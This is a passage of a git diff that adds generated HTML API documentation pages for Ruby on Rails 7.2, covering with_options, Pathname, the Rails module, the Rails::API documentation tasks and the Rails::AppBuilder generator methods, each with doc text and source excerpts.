+    validates :phone_number_type, inclusion: { in: Phone.phone_number_types.keys }
+  end
+end
+
+ +

When the block argument is omitted, the decorated Object instance is returned:

+ +
module MyStyledHelpers
+  def styled
+    with_options style: "color: red;"
+  end
+end
+
+styled.link_to "I'm red", "/"
+# => <a href="/" style="color: red;">I'm red</a>
+
+styled.button_tag "I'm red too!"
+# => <button style="color: red;">I'm red too!</button>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/with_options.rb, line 92
+  def with_options(options, &block)
+    option_merger = ActiveSupport::OptionMerger.new(self, options)
+
+    if block
+      block.arity.zero? ? option_merger.instance_eval(&block) : block.call(option_merger)
+    else
+      option_merger
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Pathname.html b/src/7.2/classes/Pathname.html new file mode 100644 index 0000000000..0d14e12811 --- /dev/null +++ b/src/7.2/classes/Pathname.html @@ -0,0 +1,172 @@ +--- +title: Pathname +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + blank?() + +

+ + +
+

An Pathname is blank if it’s empty:

+ +
Pathname.new("").blank?      # => true
+Pathname.new(" ").blank?     # => false
+Pathname.new("test").blank?  # => false
+
+ +

@return [true, false]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/pathname/blank.rb, line 13
+  def blank?
+    to_s.empty?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + existence() + +

+ + +
+

Returns the receiver if the named file exists otherwise returns nil. pathname.existence is equivalent to

+ +
pathname.exist? ? pathname : nil
+
+ +

For example, something like

+ +
content = pathname.read if pathname.exist?
+
+ +

becomes

+ +
content = pathname.existence&.read
+
+ +

@return [Pathname]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/pathname/existence.rb, line 20
+  def existence
+    self if exist?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Process.html b/src/7.2/classes/Process.html new file mode 100644 index 0000000000..7048a2d882 --- /dev/null +++ b/src/7.2/classes/Process.html @@ -0,0 +1,58 @@ +--- +title: Process +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails.html b/src/7.2/classes/Rails.html new file mode 100644 index 0000000000..db17cee48d --- /dev/null +++ b/src/7.2/classes/Rails.html @@ -0,0 +1,949 @@ +--- +title: Rails +layout: default +--- +
+ +
+
+ +
+ +

Railties – Gluing the Engine to the Rails

+ +

Railties is responsible for gluing all frameworks together. Overall, it:

+
  • +

    handles the bootstrapping process for a Rails application;

    +
  • +

    manages the rails command line interface;

    +
  • +

    and provides the Rails generators core.

    +
+ +

Download

+ +

The latest version of Railties can be installed with RubyGems:

+
  • +

    gem install railties

    +
+ +

Source code can be downloaded as part of the Rails project on GitHub

+ + +

License

+ +

Railties is released under the MIT license:

+ + +

Support

+ +

API documentation is at

+ + +

Bug reports can be filed for the Ruby on Rails project here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + app_class
+ [W] + application
+ [RW] + cache
+ [RW] + logger
+ + + + +

Class Public methods

+ +
+

+ + application() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 45
+    def application
+      @application ||= (app_class.instance if app_class)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoloaders() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 126
+    def autoloaders
+      application.autoloaders
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + backtrace_cleaner() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 56
+    def backtrace_cleaner
+      @backtrace_cleaner ||= Rails::BacktraceCleaner.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configuration() + +

+ + +
+

The Configuration instance used to configure the Rails environment

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 52
+    def configuration
+      application.config
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + env() + +

+ + +
+

Returns the current Rails environment.

+ +
Rails.env # => "development"
+Rails.env.development? # => true
+Rails.env.production? # => false
+Rails.env.local? # => true              true for "development" and "test", false for anything else
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 75
+    def env
+      @_env ||= ActiveSupport::EnvironmentInquirer.new(ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + env=(environment) + +

+ + +
+

Sets the Rails environment.

+ +
Rails.env = "staging" # => "staging"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 82
+    def env=(environment)
+      @_env = ActiveSupport::EnvironmentInquirer.new(environment)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error() + +

+ + +
+

Returns the ActiveSupport::ErrorReporter of the current Rails project, otherwise it returns nil if there is no project.

+ +
Rails.error.handle(IOError) do
+  # ...
+end
+Rails.error.report(error)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 93
+    def error
+      ActiveSupport.error_reporter
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Rails as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + groups(*groups) + +

+ + +
+

Returns all Rails groups for loading based on:

+
  • +

    The Rails environment;

    +
  • +

    The environment variable RAILS_GROUPS;

    +
  • +

    The optional envs given as argument and the hash with group dependencies;

    +
+ +
Rails.groups assets: [:development, :test]
+# => [:default, "development", :assets] for Rails.env == "development"
+# => [:default, "production"]           for Rails.env == "production"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 106
+    def groups(*groups)
+      hash = groups.extract_options!
+      env = Rails.env
+      groups.unshift(:default, env)
+      groups.concat ENV["RAILS_GROUPS"].to_s.split(",")
+      groups.concat hash.map { |k, v| k if v.map(&:to_s).include?(env) }
+      groups.compact!
+      groups.uniq!
+      groups
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + public_path() + +

+ + +
+

Returns a Pathname object of the public folder of the current Rails project, otherwise it returns nil if there is no project:

+ +
Rails.public_path
+  # => #<Pathname:/Users/someuser/some/path/project/public>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 122
+    def public_path
+      application && Pathname.new(application.paths["public"].first)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + root() + +

+ + +
+

Returns a Pathname object of the current Rails project, otherwise it returns nil if there is no project:

+ +
Rails.root
+  # => #<Pathname:/Users/someuser/some/path/project>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails.rb, line 65
+    def root
+      application && application.config.root
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Rails as a string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/version.rb, line 7
+  def self.version
+    VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/API.html b/src/7.2/classes/Rails/API.html new file mode 100644 index 0000000000..2c2a03d3d6 --- /dev/null +++ b/src/7.2/classes/Rails/API.html @@ -0,0 +1,73 @@ +--- +title: Rails::API +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/API/EdgeTask.html b/src/7.2/classes/Rails/API/EdgeTask.html new file mode 100644 index 0000000000..63bdbc0c07 --- /dev/null +++ b/src/7.2/classes/Rails/API/EdgeTask.html @@ -0,0 +1,185 @@ +--- +title: Rails::API::EdgeTask +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + badge_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 212
+      def badge_version
+        "edge"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + canonical_url() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 216
+      def canonical_url
+        "https://edgeapi.rubyonrails.org"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rails_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 208
+      def rails_version
+        "main@#{`git rev-parse HEAD`[0, 7]}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/API/RepoTask.html b/src/7.2/classes/Rails/API/RepoTask.html new file mode 100644 index 0000000000..c7268514c9 --- /dev/null +++ b/src/7.2/classes/Rails/API/RepoTask.html @@ -0,0 +1,186 @@ +--- +title: Rails::API::RepoTask +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + api_dir() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 202
+      def api_dir
+        "doc/rdoc"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + component_root_dir(component) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 198
+      def component_root_dir(component)
+        component
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configure_sdoc() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 193
+      def configure_sdoc
+        super
+        options << "-g" # link to GitHub, SDoc flag
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/API/StableTask.html b/src/7.2/classes/Rails/API/StableTask.html new file mode 100644 index 0000000000..ac9e282b47 --- /dev/null +++ b/src/7.2/classes/Rails/API/StableTask.html @@ -0,0 +1,185 @@ +--- +title: Rails::API::StableTask +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + badge_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 226
+      def badge_version
+        "v#{rails_version}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + canonical_url() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 230
+      def canonical_url
+        "https://api.rubyonrails.org/#{badge_version}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rails_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 222
+      def rails_version
+        File.read("RAILS_VERSION").strip
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/API/Task.html b/src/7.2/classes/Rails/API/Task.html new file mode 100644 index 0000000000..48439b74d7 --- /dev/null +++ b/src/7.2/classes/Rails/API/Task.html @@ -0,0 +1,430 @@ +--- +title: Rails::API::Task +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
RDOC_FILES={ +"activesupport" => { +include: %w( +README.rdoc +lib/active_support.rb +lib/active_support/**/*.rb +) +}, + +"activerecord" => { +include: %w( +README.rdoc +lib/active_record.rb +lib/active_record/**/*.rb +lib/arel.rb +) +}, + +"activemodel" => { +include: %w( +README.rdoc +lib/active_model.rb +lib/active_model/**/*.rb +) +}, + +"actionpack" => { +include: %w( +README.rdoc +lib/abstract_controller/**/*.rb +lib/action_controller.rb +lib/action_controller/**/*.rb +lib/action_dispatch.rb +lib/action_dispatch/**/*.rb +) +}, + +"actionview" => { +include: %w( +README.rdoc +lib/action_view.rb +lib/action_view/**/*.rb +), +exclude: "lib/action_view/vendor/*" +}, + +"actionmailer" => { +include: %w( +README.rdoc +lib/action_mailer.rb +lib/action_mailer/**/*.rb +) +}, + +"activejob" => { +include: %w( +README.md +lib/active_job.rb +lib/active_job/**/*.rb +) +}, + +"actioncable" => { +include: %w( +README.md +lib/action_cable.rb +lib/action_cable/**/*.rb +) +}, + +"activestorage" => { +include: %w( +README.md +app/**/active_storage/**/*.rb +lib/active_storage.rb +lib/active_storage/**/*.rb +) +}, + +"actionmailbox" => { +include: %w( +README.md +app/**/action_mailbox/**/*.rb +lib/action_mailbox.rb +lib/action_mailbox/**/*.rb +) +}, + +"actiontext" => { +include: %w( +README.md +app/**/action_text/**/*.rb +lib/action_text.rb +lib/action_text/**/*.rb +) +}, + +"railties" => { +include: %w( +README.rdoc +lib/**/*.rb +), +exclude: %w( +lib/rails/generators/**/templates/**/*.rb +lib/rails/test_unit/* +lib/rails/api/generator.rb +) +} +}
+ + + + + + +

Class Public methods

+ +
+

+ + new(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 119
+      def initialize(name)
+        super
+
+        # Every time rake runs this task is instantiated as all the rest.
+        # Be lazy computing stuff to have as light impact as possible to
+        # the rest of tasks.
+        before_running_rdoc do
+          configure_sdoc
+          configure_rdoc_files
+          setup_horo_variables
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + api_main() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 187
+      def api_main
+        component_root_dir("railties") + "/RDOC_MAIN.md"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configure_rdoc_files() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 148
+      def configure_rdoc_files
+        RDOC_FILES.each do |component, cfg|
+          cdr = component_root_dir(component)
+
+          Array(cfg[:include]).each do |pattern|
+            rdoc_files.include("#{cdr}/#{pattern}")
+          end
+
+          Array(cfg[:exclude]).each do |pattern|
+            rdoc_files.exclude("#{cdr}/#{pattern}")
+          end
+        end
+
+        # Only generate documentation for files that have been
+        # changed since the API was generated.
+        timestamp_path = "#{api_dir}/created.rid"
+        if File.exist?(timestamp_path) && !File.zero?(timestamp_path) && !ENV["ALL"]
+          last_generation = DateTime.rfc2822(File.open(timestamp_path, &:readline))
+
+          rdoc_files.keep_if do |file|
+            File.mtime(file).to_datetime > last_generation
+          end
+
+          # Nothing to do
+          exit(0) if rdoc_files.empty?
+        end
+
+        # This must come after the mtime comparison to ensure the main page is not excluded.
+        rdoc_files.include(api_main)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configure_sdoc() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 137
+      def configure_sdoc
+        self.title    = "Ruby on Rails API"
+        self.rdoc_dir = api_dir
+
+        options << "-m"  << api_main
+        options << "-e"  << "UTF-8"
+
+        options << "-f"  << "api"
+        options << "-T"  << "rails"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + desc(description) + +

+ + +
+

Hack, ignore the desc calls performed by the original initializer.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/api/task.rb, line 133
+      def desc(description)
+        # no-op
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/AppBuilder.html b/src/7.2/classes/Rails/AppBuilder.html new file mode 100644 index 0000000000..cebbaca5d0 --- /dev/null +++ b/src/7.2/classes/Rails/AppBuilder.html @@ -0,0 +1,1446 @@ +--- +title: Rails::AppBuilder +layout: default +--- +
+ +
+
+ +
+ +

The application builder allows you to override elements of the application generator without being forced to reverse the operations of the default generator.

+ +

This allows you to override entire operations, like the creation of the Gemfile, README, or JavaScript files, without needing to know exactly what those operations do so you can create another template action.

+ +
class CustomAppBuilder < Rails::AppBuilder
+  def test
+    @generator.gem "rspec-rails", group: [:development, :test]
+    run "bundle install"
+    generate "rspec:install"
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + app() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 102
+    def app
+      directory "app"
+
+      empty_directory_with_keep_file "app/assets/images"
+
+      keep_file  "app/controllers/concerns"
+      keep_file  "app/models/concerns"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + bin() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 111
+    def bin
+      exclude_pattern = Regexp.union([(/rubocop/ if skip_rubocop?), (/brakeman/ if skip_brakeman?)].compact)
+      directory "bin", { exclude_pattern: exclude_pattern } do |content|
+        "#{shebang}\n" + content
+      end
+      chmod "bin", 0755 & ~File.umask, verbose: false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + bin_when_updating() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 119
+    def bin_when_updating
+      bin
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cifiles() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 86
+    def cifiles
+      empty_directory ".github/workflows"
+      template "github/ci.yml", ".github/workflows/ci.yml"
+      template "github/dependabot.yml", ".github/dependabot.yml"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + config() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 123
+    def config
+      empty_directory "config"
+
+      inside "config" do
+        template "routes.rb" unless options[:update]
+        template "application.rb"
+        template "environment.rb"
+        template "cable.yml" unless options[:update] || options[:skip_action_cable]
+        template "puma.rb"
+        template "storage.yml" unless options[:update] || skip_active_storage?
+
+        directory "environments"
+        directory "initializers"
+        directory "locales" unless options[:update]
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + config_target_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 269
+    def config_target_version
+      @config_target_version || Rails::VERSION::STRING.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + config_when_updating() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 140
+    def config_when_updating
+      action_cable_config_exist       = File.exist?("config/cable.yml")
+      active_storage_config_exist     = File.exist?("config/storage.yml")
+      rack_cors_config_exist          = File.exist?("config/initializers/cors.rb")
+      assets_config_exist             = File.exist?("config/initializers/assets.rb")
+      asset_manifest_exist            = File.exist?("app/assets/config/manifest.js")
+      asset_app_stylesheet_exist      = File.exist?("app/assets/stylesheets/application.css")
+      csp_config_exist                = File.exist?("config/initializers/content_security_policy.rb")
+      permissions_policy_config_exist = File.exist?("config/initializers/permissions_policy.rb")
+
+      @config_target_version = Rails.application.config.loaded_config_version || "5.0"
+
+      config
+
+      if !options[:skip_action_cable] && !action_cable_config_exist
+        template "config/cable.yml"
+      end
+
+      if !skip_active_storage? && !active_storage_config_exist
+        template "config/storage.yml"
+      end
+
+      if skip_sprockets? && skip_propshaft? && !assets_config_exist
+        remove_file "config/initializers/assets.rb"
+      end
+
+      if skip_sprockets? && !asset_manifest_exist
+        remove_file "app/assets/config/manifest.js"
+      end
+
+      if skip_sprockets? && !asset_app_stylesheet_exist
+        remove_file "app/assets/stylesheets/application.css"
+      end
+
+      unless rack_cors_config_exist
+        remove_file "config/initializers/cors.rb"
+      end
+
+      if options[:api]
+        unless csp_config_exist
+          remove_file "config/initializers/content_security_policy.rb"
+        end
+
+        unless permissions_policy_config_exist
+          remove_file "config/initializers/permissions_policy.rb"
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configru() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 66
+    def configru
+      template "config.ru"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + credentials() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 198
+    def credentials
+      return if options[:pretend] || options[:dummy_app]
+
+      require "rails/generators/rails/credentials/credentials_generator"
+      Rails::Generators::CredentialsGenerator.new([], quiet: true).add_credentials_file
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + credentials_diff_enroll() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 205
+    def credentials_diff_enroll
+      return if options[:skip_decrypted_diffs] || options[:dummy_app] || options[:pretend]
+
+      @generator.shell.mute do
+        rails_command "credentials:diff --enroll", inline: true, shell: @generator.shell
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + database_yml() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 213
+    def database_yml
+      template "config/databases/#{options[:database]}.yml", "config/database.yml"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + db() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 217
+    def db
+      directory "db"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + devcontainer() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 273
+    def devcontainer
+      devcontainer_options = {
+        database: options[:database],
+        redis: !(options[:skip_action_cable] && options[:skip_active_job]),
+        system_test: depends_on_system_test?,
+        active_storage: !options[:skip_active_storage],
+        dev: options[:dev],
+        node: using_node?,
+        app_name: app_name
+      }
+
+      Rails::Generators::DevcontainerGenerator.new([], devcontainer_options).invoke_all
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dockerfiles() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 78
+    def dockerfiles
+      template "Dockerfile"
+      template "dockerignore", ".dockerignore"
+
+      template "docker-entrypoint", "bin/docker-entrypoint"
+      chmod "bin/docker-entrypoint", 0755 & ~File.umask, verbose: false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gemfile() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 62
+    def gemfile
+      template "Gemfile"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gitattributes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 74
+    def gitattributes
+      template "gitattributes", ".gitattributes"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gitignore() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 70
+    def gitignore
+      template "gitignore", ".gitignore"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lib() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 221
+    def lib
+      empty_directory "lib"
+      empty_directory_with_keep_file "lib/tasks"
+      empty_directory_with_keep_file "lib/assets"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + log() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 227
+    def log
+      empty_directory_with_keep_file "log"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + master_key() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 189
+    def master_key
+      return if options[:pretend] || options[:dummy_app]
+
+      require "rails/generators/rails/master_key/master_key_generator"
+      master_key_generator = Rails::Generators::MasterKeyGenerator.new([], quiet: options[:quiet], force: options[:force])
+      master_key_generator.add_master_key_file_silently
+      master_key_generator.ignore_master_key_file_silently
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + node_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 58
+    def node_version
+      template "node-version", ".node-version"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + public_directory() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 231
+    def public_directory
+      return if options[:update] && options[:api]
+
+      directory "public", "public", recursive: false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rakefile() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 46
+    def rakefile
+      template "Rakefile"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readme() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 50
+    def readme
+      copy_file "README.md", "README.md"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rubocop() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 92
+    def rubocop
+      template "rubocop.yml", ".rubocop.yml"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ruby_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 54
+    def ruby_version
+      template "ruby-version", ".ruby-version"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + storage() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 237
+    def storage
+      empty_directory_with_keep_file "storage"
+      empty_directory_with_keep_file "tmp/storage"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + system_test() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 254
+    def system_test
+      empty_directory_with_keep_file "test/system"
+
+      template "test/application_system_test_case.rb"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 242
+    def test
+      empty_directory_with_keep_file "test/fixtures/files"
+      empty_directory_with_keep_file "test/controllers"
+      empty_directory_with_keep_file "test/mailers"
+      empty_directory_with_keep_file "test/models"
+      empty_directory_with_keep_file "test/helpers"
+      empty_directory_with_keep_file "test/integration"
+
+      template "test/channels/application_cable/connection_test.rb"
+      template "test/test_helper.rb"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tmp() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 260
+    def tmp
+      empty_directory_with_keep_file "tmp"
+      empty_directory_with_keep_file "tmp/pids"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + vendor() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 265
+    def vendor
+      empty_directory_with_keep_file "vendor"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version_control() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 96
+    def version_control
+      if !options[:skip_git] && !options[:pretend]
+        run git_init_command, capture: options[:quiet], abort_on_failure: false
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
